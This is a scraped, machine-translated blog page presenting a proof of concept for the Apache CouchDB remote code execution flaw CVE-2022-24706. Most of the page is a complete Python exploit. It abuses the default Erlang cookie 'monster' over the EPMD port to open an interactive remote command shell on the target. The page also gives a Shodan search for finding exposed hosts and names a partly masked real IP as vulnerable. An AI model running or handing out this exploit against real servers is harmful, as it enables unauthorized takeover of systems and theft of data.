当前位置:网站首页>Apache CouchDB Code Execution Vulnerability (cve-2022-24706) batch POC
Apache CouchDB Code Execution Vulnerability (cve-2022-24706) batch POC
2022-06-25 08:06:00 【Sauteed chicken with vegetables】
Apache CouchDB Code Execution Vulnerability (CVE-2022-24706 )
because CouchDB The default installation configuration for is defective , This could eventually lead to an attacker accessing a specific port , Bypass the permission check and get the administrator permission
CVE-2022-24706 The loophole is due to 3.2.2 pre-release CouchDB There are defects in the default configuration of , An attacker can gain administrator privileges by accessing an incorrect default installation without authentication . The vulnerability has a small impact , It is recommended that users in all CouchDB Install firewall before installing . complete CouchDB api Register port at “5984” Available on the , This is the only port that needs to be exposed for a single node installation .
example :45.147.96.xxx There is REC
EXP
# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
# https://habr.com/ru/post/661195/
# https://www.exploit-db.com/exploits/49418
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
# !/usr/local/bin/python3
import socket
from hashlib import md5
import struct
import sys
import re
import time
TARGET = sys.argv[1]
EPMD_PORT = 4369 # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
# Some data:
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\[email protected]"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\[email protected]\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\[email protected]\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
while not TARGET:
TARGET = input("Enter target host:\n> ")
# Connect to EPMD:
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
epm_socket.send(EPM_NAME_CMD) # request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" % (line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search("\d+$", data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Connect to Erlang port:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
s.send(NAME_MSG)
s.recv(5) # Receive "ok" message
challenge = s.recv(1024) # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]
# print("Extracted challenge: {}".format(challenge))
# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
s.recv(45) # Control message
data_size -= 45 # Data size without control message
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
# print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode())
data_size = 0
else:
data = s.recv(1024)
# print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode(), end='')
data_size -= 1024
边栏推荐
- 57. insert interval
- 线程+线程问题记录
- 1464. maximum product of two elements in an array
- Black dot = = white dot (MST)
- 現在通過開戶經理發的開戶鏈接股票開戶安全嗎?
- 2021ICPC网络赛第一场
- 深度学习系列45:图像恢复综述
- PHP array function Encyclopedia
- 洛谷P6822 [PA2012]Tax(最短路+边变点)
- Set the textalign property of the label control in C to control the method of text centering
猜你喜欢
420-二叉树的层序遍历2(429. N 叉树的层序遍历、515.在每个树行中找最大值、116.填充每个节点的下一个右侧节点指针、104.二叉树的最大深度、111.二叉树的最小深度)
【论文学习】《VQMIVC》
Can bus working condition and signal quality "physical examination"
电子学:第010课——实验 9:时间与电容器
Force buckle 272 Closest binary search tree value II recursion
將數據導入到MATLAB
Anaconda navigator启动慢的一个解决方法
产品经理专业知识50篇(四)-从问题到能力提升:AMDGF模型工具
Vscode is good, but I won't use it again
Anaconda based module installation and precautions
随机推荐
Vscode is good, but I won't use it again
420-二叉树的层序遍历2(429. N 叉树的层序遍历、515.在每个树行中找最大值、116.填充每个节点的下一个右侧节点指针、104.二叉树的最大深度、111.二叉树的最小深度)
Electronics: Lesson 013 - Experiment 14: Wearable pulsed luminaries
三台西门子消防主机FC18配套CAN光端机进行光纤冗余环网组网测试
【补题】2021牛客暑期多校训练营1-3
Force deduction 76 questions, minimum covering string
电子学:第014课——实验 15:防入侵报警器(第一部分)
Matlab代码格式一键美化神器
电子学:第008课——实验 6:非常简单的开关
Mr. Tang's lecture on operational amplifier (Lecture 7) -- Application of operational amplifier
现在通过开户经理发的开户链接股票开户安全吗?
Anaconda navigator启动慢的一个解决方法
Is it safe to open an account through the haircut account opening link now?
RMQ interval maximum subscript query, interval maximum
线程+线程问题记录
Force buckle 272 Closest binary search tree value II recursion
How to resize an image in C #
Startup, shutdown and restart of Oracle and MySQL on Linux
环网冗余式CAN/光纤转换器的CAN光端机在消防火灾联网报警系统中的应用
共话云原生数据库的未来